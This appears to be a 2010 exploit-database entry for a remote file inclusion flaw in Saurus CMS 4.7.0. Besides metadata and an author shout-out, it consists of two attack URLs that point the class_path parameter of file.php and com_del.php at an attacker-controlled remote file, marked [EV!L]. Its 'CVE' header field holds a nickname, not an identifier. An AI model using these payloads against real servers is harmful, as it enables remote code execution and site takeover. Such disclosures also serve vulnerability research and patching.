Saurus CMS 4.7.0 - Remote File Inclusion

Author: LoSt.HaCkEr
type: webapps
platform: php
port: 
date_added: 2010-08-11 
date_updated: 2010-08-11 
verified: 0 
codes: CVE-2010-4943;OSVDB-76244;OSVDB-76243 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comSaurusCMSupdate4.7.0.zip

# Exploit Title: [SaurusCMSupdate4.7.0 Remote File Include ]
# Date: [11-8-2010]
# Author: LoSt.HaCkEr
# Software Link: [http://www.brothersoft.com/saurus-cms-download-17626.html]
# Version: [v 4.7.0]
# Tested on: [Windows XP]
# CVE : [هكر المسيب]
#____Contact__LoSt.HaCkEr[at]yahoo[dot]com

____________________________________
Exploit: http://target/SaurusCMSupdate4.7.0/saurus_cms_upd4.7.0/file.php?class_path=[EV!L]
____________________________________________
Exploit: http://target/SaurusCMSupdate4.7.0/saurus_cms_upd4.7.0/com_del.php?class_path=[EV!L]
____________________________________________
A special tribute to:

DannY.iRaQi - TeaM iRaQ HaCkers